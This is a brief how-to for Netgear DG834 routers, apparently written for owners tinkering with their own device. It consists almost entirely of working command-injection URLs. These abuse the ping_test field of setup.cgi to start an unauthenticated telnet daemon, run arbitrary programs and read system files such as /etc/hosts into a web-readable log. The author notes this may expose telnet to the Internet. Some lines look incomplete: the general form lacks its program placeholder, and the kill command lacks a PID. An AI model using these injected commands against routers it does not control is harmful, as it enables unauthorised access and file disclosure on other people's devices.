Howto Telnet into Netgear DG834GVv1

This probably works for any Netgear DG834*

Your default router IP address is 192.168.0.1 unless you have changed it.

Start Telnet Daemon

http://192.168.0.1/setup.cgi?todo=ping_test&c4_IPAddr=%26/usr/sbin/utelnetd+-d

You may now telnet to your router's IP address.

eg. telnet 192.168.0.1

NB: This may enable telnet access from any Internet host.
In my case on a DG834GV v1, I could not connect to my router over Internet.

To run any installed program, use this general form.
It will launch program and redirect output to ppp_log.

General Form

http://192.168.0.1/setup.cgi?todo=ping_test&c4_IPAddr=%26
+++%3E+/www/ppp_log

View ppp_log

http://192.168.0.1/ppp_log

Read a File

eg. to read /etc/hosts


http://192.168.0.1/setup.cgi?todo=ping_test&c4_IPAddr=%26/bin/cat+/etc/hosts+%3E+/www/ppp_log

Ignore Ping error message and read ppp_log:

http://192.168.0.1/ppp_log

Stop Telnet Daemon

From telnet session

/bin/ps

Find PID (first number) for utelnetd daemon

/bin/kill

You should see a message on your console like "Connection closed by foreign host." 

Via browser

http://192.168.0.1/setup.cgi?todo=ping_test&c4_IPAddr=%26/usr/bin/killall+utelnetd

Ensure you can no longer login into your router.